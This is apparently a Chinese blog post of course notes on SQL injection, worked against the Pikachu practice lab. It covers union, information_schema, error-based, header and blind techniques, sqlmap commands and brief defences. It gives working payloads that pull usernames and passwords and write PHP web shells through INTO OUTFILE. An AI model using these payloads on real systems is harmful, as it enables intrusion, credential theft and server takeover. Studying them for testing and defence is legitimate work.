SQL Injection

整理自: https://www.ichunqiu.com/course/63879

SQL Injection概述

  • 黑客在互联网区域构建sql语句,控制后台sql查询语句,实现攻击。

二、SQL Injection 渗透测试流程

第一步:注入点探测

  • 自动方式:使用web漏洞扫描工具,自动进行注入点发现
  • 手动方式:手工构造sql injection测试语句进行注入点发现

第二步:信息获取

  • 通过注入点取期望得到的数据
  • 1.环境信息:数据库类型,数据库版本,操作系统版本,用户信息等
  • 2.数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

第三步:获取权限

  • 获取操作系统权限:通过数据库执行shell,上传木马

常见注入点类型

  • 数字型 user_id=$id
  • 字符型 user_id='$id'
  • 搜索型 text LIKE '%{_GET['search']}'"

如何判断注入点的类型

案例演示

1.数字型注入演示

  • 打开目标站点,抓包分析,数字型=$id


    image.png

    image.png

    image.png

    image.png
  • 结合后端源码分析 ,后端获取的id值没有做处理直接拼接到sql语句中,select username,email from member where + 拼接的值,如果是1 or 1=1的话,会把member表中所有username,email都查询出来。


    image.png

2.字符型注入演示

  • 根据浏览器url的变化,分析出为get请求,字符串型,字符串在select中要加''


    image.png

    image.png
  • 抓包


    image.png
  • 添加 or 1=1,失败


    image.png
  • 因为字符串会加'',所以name变量前边后台已经有一个'了,发送过去后,后台会再添加一个',所以select语句变量为'123 or 1=1'是查不到东西的。应该改成123' or 1=1# ,这样的话后台就变成了'123' or 1=1 ,#起注释的作用。
image.png
  • 后端代码分析


    image.png

搜索型注入

image.png
  • 构造闭合


    image.png
  • 后台代码分析。对查询变量没有做处理,直接拼接到查询语句中了。


    image.png

XX型

  • 后端源码分析可得构造闭合的方式


    image.png
  • 利用漏洞,构造闭合sql语句


    image.png
  • 总结:总而言之,就是对sql中的各种类型的输入进行闭合测试,构造合法sql,欺骗后台。

union注入

  • union联合查询:可以通过联合查询来查询指定的数据
  • 用法举例: select username,password from user where id=1 union select 字段1,字段2from 表名 联合查询的字段数需要和主查询一致
  • 数据库中演示


    image.png
  • 如何判断主查询的字段数。构造的sql语句中 用order by 数字,按列排序来判断有几列


    image.png
  • 实践


    image.png

    image.png

    image.png

    image.png

    image.png

information_schema注入

  • 知识点:
    information_schema mysql中的信息数据库,保存着mysql维护的其它数据库的信息。要了解两张表。1.tables表(提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表[引擎],创建时间等信息)中table_name 表名称、table_schema数据表所属的数据库名、table_type表类型[system view|base table]、engine使用的数据库引擎[MyISAM|CSV|InnoDB]、version版本,默认值10字段;2.COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。TABLE_SCHEMA 表格所属的库,TABLE_NAME 表名,COLUMN_NAME字名,ORDINAL_POSITION字段标识。


    image.png

    image.png
  • 所以获取用户名和密码字段的思路为:在找到注入点,判断出union 可用的字段后,判断出所用的数据库名字和用户名字,然后再information_schema中查看对应的数据库(table_schema)有哪几个表(table_name),然后在columns查看对应的表有哪些字段。

  • 测试是否存在注入点


    image.png

    image.png

    image.png
  • 判断查询有几个字段。两个。


    image.png

    image.png

    image.png
  • 判断数据库名字和用户名字


    image.png
  • 构造payload。获取表名 kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#


    image.png
  • 构造payload获取字段名
    kobe' union select table_name,column_name from information_schema.columns where table_name='users'#


    image.png

    *构造payload 获取内容
    kobe' union select username,password from users#


    image.png

基于函数报错的注入

  • 知识点
  • 常用的报错函数updatexml()\extravalue()、floot()
  • 基于函数报错的信息获取(selelect/insert/update/delete)
  • 技巧思路
  • 在mysql中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息。
  • 三个常用的用来报错的函数
    updatexml(): 函数是mysql对xml文档数据进行查询和修改的xpath函数
    作用:改变(查找并替换)xml文档中符合条件的节点的值
    语法:updatexml(xml_document,xpathstring,new_value)
    第一个参数:fiedname是string格式,为表中的字段名。
    第二个参数:xpathstring(xpath格式的字符串)
    第三个参数:new_value,string格式,替换查找到符合条件的
    xpath定位必须是有效的,否则会发生错误
    xpathstring可以是表达式,会执行
    extractvalue():函数也是mysql对xml文档数据进行查询的xpath函数。
    floor():mysql中用来取整的函数
  • 背景条件
  • 后台没有屏蔽数据库报错信息,在语法错误时会输出在最前端。

演示

*找到注入点后,构造payload。 l' and updatexml(1,version(),0)#


image.png
  • 构造payload 输出完整结果 concat()将里边的数据拼接成字符串 l' and updatexml(1,concat(0x7e,version()),0)#


    image.png
  • l' and updatexml(1,concat(0x7e,database()),0)#


    image.png
  • l' and updatexml(1,concat(0x7e, (select username from users)),0)#


    image.png
  • l' and updatexml(1,concat(0x7e, (select username from users limit 0,1)),0)#


    image.png

基于insert update delete的注入利用案

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

image.png

extractvalue()

  • 作用
  • 从目标xml中返回包含所查询值的字符串
    语法:extractvalue(xml_document,xpath_string)
    第一个参数:xml_document是string格式,为xml文档对象的名称,文中为doc
    第二个参数:xpath_string(xpath格式的字符串)
    xpath定位必须是有效的,否则会发生错误
  • 演示
  • 构造payload,s' and extractvalue(0,concat(0x7e,version()))#


    image.png

    image.png

http header注入

  • 后台开发人员为了验证客户端头信息比如常用的cookie验证或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等
  • 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑会导致基于http header的sql injection漏洞


    image.png

    image.png

    image.png

    image.png
  • firefox' or updatexml(1,concat(0x7e,database( )),0) or '


    image.png

    image.png

    image.png

盲注

  • 什么是盲注以及常见的盲注类型
    服务器没有开启错误回显,屏蔽了报错信息。
  • 基于boolean(true or false)的盲注测试


    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png

    image.png
  • 构造paylod进行判断。
    kobe' and ascii(substr(database(),1,1))>113#


    image.png

    kobe' and ascii(substr(database(),1,1))>112#


    image.png

    kobe' and ascii(substr(database(),1,1))>111#
    image.png

    112 对应p

    盲注页面只返回正确的值或者输入错误。利用ascii进行判断;利用长度判断

  • 基于time的盲注测试


    image.png

    image.png

    ** kobe' and sleep(5)#


    image.png

    ** kobe' and if((substr(database()),1,1))='a',sleep(5),null)#
    image.png

    ** kobe' and if((substr(database(),1,1))='p',sleep(5),null)#
    image.png

对服务器远程控制案例

  • 一句话木马
  • 如何通过into outfile写入恶意代码并控制os

** select 1,2 into outfile " var/www/html/1.txt"
** into outfile 将select的结果写入到指定目录的1.txt中
** 在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件
1.需要知道远程目录
2.需要远程目录有写权限
3.需要数据库开启了secure_file_priv
kobe' union select "<?php @eval(_GET['test'])?>",2 into outfile "C:\\xampp\\htdocs\\1.php"# ![image.png](https://upload-images.jianshu.io/upload_images/14172142-81f29f646c0aaac8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://upload-images.jianshu.io/upload_images/14172142-9e665be802455a0f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://upload-images.jianshu.io/upload_images/14172142-ac65b4ceb8575d31.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) ![image.png](https://upload-images.jianshu.io/upload_images/14172142-c867f0f32ef1825a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240) kobe' union select "<?php system(_GET['cmd'])?>",2 into outfile "C:\xampp\htdocs\2.php"#

image.png

image.png

image.png

暴力破解在sql中的应用

  • kobe' and exsits(select * from aa)#


    image.png

    image.png

    image.png

    image.png

    image.png

sql漏洞防范

  • 代码层面
    1.对输入进行严格的转义和过滤
    2.使用预处理和参数化
    *网络层面
    1.通过waf设备启用sql injection注入策略(或类似防护系统)
    2.云端防护(360网站卫士,阿里云盾等)


    image.png

    推荐预处理


    image.png

    image.png

    image.png

sqlmap简单使用方法

经典用法
第一步:
-u "xxx" --cookie="yyy" //带上cookie对url进行注入探测
第二部
-u "xxx" --cookie="yyy" -current-db //对数据库名进行获取
第三步:
-u "xxx" --cookie="yyy" -D pikaku --tables //对数据库的表名进行枚举
第四步:
-u "xxx" --cookie="yyy" -D pikaku -T users ==columns //对
pikaku里面名为users表的列名进行枚举


image.png
image.png

image.png
image.png
image.png

image.png

image.png

image.png

image.png

image.png
image.png

image.png

image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,616评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,020评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,078评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,040评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,154评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,265评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,298评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,072评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,491评论 1 306
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,795评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,970评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,654评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,272评论 3 318
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,985评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,223评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,815评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,852评论 2 351

推荐阅读更多精彩内容